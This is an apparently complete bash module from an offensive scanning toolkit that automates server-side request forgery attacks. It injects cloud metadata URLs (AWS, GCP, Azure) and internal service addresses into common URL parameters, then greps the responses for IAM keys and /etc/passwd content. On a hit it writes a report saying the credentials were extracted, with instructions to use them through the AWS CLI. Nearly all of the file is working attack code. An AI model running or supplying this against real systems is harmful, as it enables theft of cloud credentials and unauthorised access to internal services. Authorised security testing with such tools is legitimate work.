#!/usr/bin/env bash # Vector 22: SSRF PROOF — Confirms SSRF by fetching internal/cloud metadata # Desc: Probes URL params with internal address payloads, confirms by reading # cloud metadata endpoints (AWS/GCP/Azure) or internal services # Severity: CRITICAL # Proof: Fetches http://169.254.169.254/latest/meta-data/ (AWS) etc. vector_ssrf_proof() { local target="$1" local report="$2" local domain=$(get_domain "$target") local base=$(get_base "$target") local findings=0 print_info "Hunting CONFIRMED SSRF — will attempt cloud metadata read..." # URL parameters commonly vulnerable to SSRF local ssrf_params=( "url" "uri" "link" "src" "source" "target" "endpoint" "path" "file" "load" "read" "page" "dest" "redirect" "image" "img" "css" "asset" "proxy" "webhook" "callback" "return" "returnTo" "return_url" "goto" "next" "prev" "icon" "avatar" "cover" "preview" "thumbnail" "upload_url" "download" "fetch" "get" "post" "api_url" "rpc" ) # Internal targets that prove SSRF local internal_targets=( # AWS metadata (most common) "http://169.254.169.254/latest/meta-data/" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" "http://169.254.169.254/latest/user-data/" # GCP metadata "http://metadata.google.internal/computeMetadata/v1/" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" # Azure metadata "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Internal services "http://localhost/" "http://localhost:8080/" "http://localhost:3000/" "http://127.0.0.1:22/" "http://127.0.0.1:6379/" # Redis "http://127.0.0.1:9200/" # Elasticsearch "http://0.0.0.0/" "http://[::]:80/" # Kubernetes "http://kubernetes.default.svc/" "http://10.0.0.1/" "http://10.100.0.1/" "http://10.254.0.1/" # Docker "http://localhost:2375/" # Database "http://127.0.0.1:3306/" "http://127.0.0.1:5432/" "http://127.0.0.1:27017/" ) # HTTP header target (when param injection isn't available) local headers_ssrf=( "Host" "X-Forwarded-For" "X-Forwarded-Host" "X-Real-IP" "X-Original-URL" "X-Rewrite-URL" "Forwarded" "X-Originating-IP" "X-Remote-IP" "X-Client-IP" ) # AWS credential patterns to look for in response local AWS_CRED_PATTERN='"AccessKeyId"\|"SecretAccessKey"\|"Token"' local METADATA_PATTERN='ami-id\|instance-id\|public-keys\|security-credentials' local CLOUD_PROOF='root:x:0:0:\|{"access_key":\|"instanceId"\|kubernetes' local tested=0 # Get URL params from discovery local urls=$(get_discovered_urls "$domain" 2>/dev/null) local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u 2>/dev/null) # If no params found, try common SSRF parameters if [ -z "$param_names" ]; then print_sub "No params found. Probing common SSRF parameters..." for param in "${ssrf_params[@]}"; do for internal in "${internal_targets[@]}"; do tested=$((tested + 1)) # URL-encode the internal target local encoded=$(printf '%s' "$internal" | jq -sRr @uri 2>/dev/null || echo "$internal") local test_url="${target}?${param}=${encoded}" local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null) if echo "$response" | grep -qi "$AWS_CRED_PATTERN\|$METADATA_PATTERN\|$CLOUD_PROOF"; then if echo "$response" | grep -qi "$AWS_CRED_PATTERN"; then print_find "CONFIRMED SSRF — AWS Credentials Exfiltrated!" "$param=$internal" echo "SEVERITY: CRITICAL VECTOR: SSRF Proof — AWS Cloud Metadata DETAIL: Fetched AWS IAM credentials via $param URL: $test_url ENDPOINT: $internal CREDENTIALS EXTRACTED: YES EXPLOIT: Use AWS CLI with: AWS_ACCESS_KEY_ID= AWS_SECRET_ACCESS_KEY= AWS_SESSION_TOKEN=" > "$REPORTS_DIR/.finding_ssrf_aws_$(date +%s).txt" elif echo "$response" | grep -qi "root:x:0:0:\|bin:\|daemon:"; then print_find "CONFIRMED SSRF — Internal File Read!" "$param=$internal" local snippet=$(echo "$response" | head -5 | tr '\n' '|' | cut -c1-100) echo "SEVERITY: CRITICAL VECTOR: SSRF Proof — Internal File Read DETAIL: Read internal file via SSRF URL: $test_url ENDPOINT: $internal SNIPPET: $snippet" > "$REPORTS_DIR/.finding_ssrf_file_$(date +%s).txt" else print_find "CONFIRMED SSRF — Internal Service Reached" "$param=$internal" echo "SEVERITY: HIGH VECTOR: SSRF Proof — Internal Service DETAIL: Reached internal service via $param URL: $test_url ENDPOINT: $internal RESPONSE: $(echo "$response" | head -3 | tr '\n' ' ' | cut -c1-200)" > "$REPORTS_DIR/.finding_ssrf_int_$(date +%s).txt" fi findings=$((findings + 1)) break 2 fi # Check for timing-based blind SSRF (if response takes >3s different from baseline) # TODO: Blind SSRF via timing/OOB detection done done fi if [ "$findings" -eq 0 ]; then print_info "No confirmed SSRF on $target" fi print_sub "Tested $tested payload combinations" return $findings }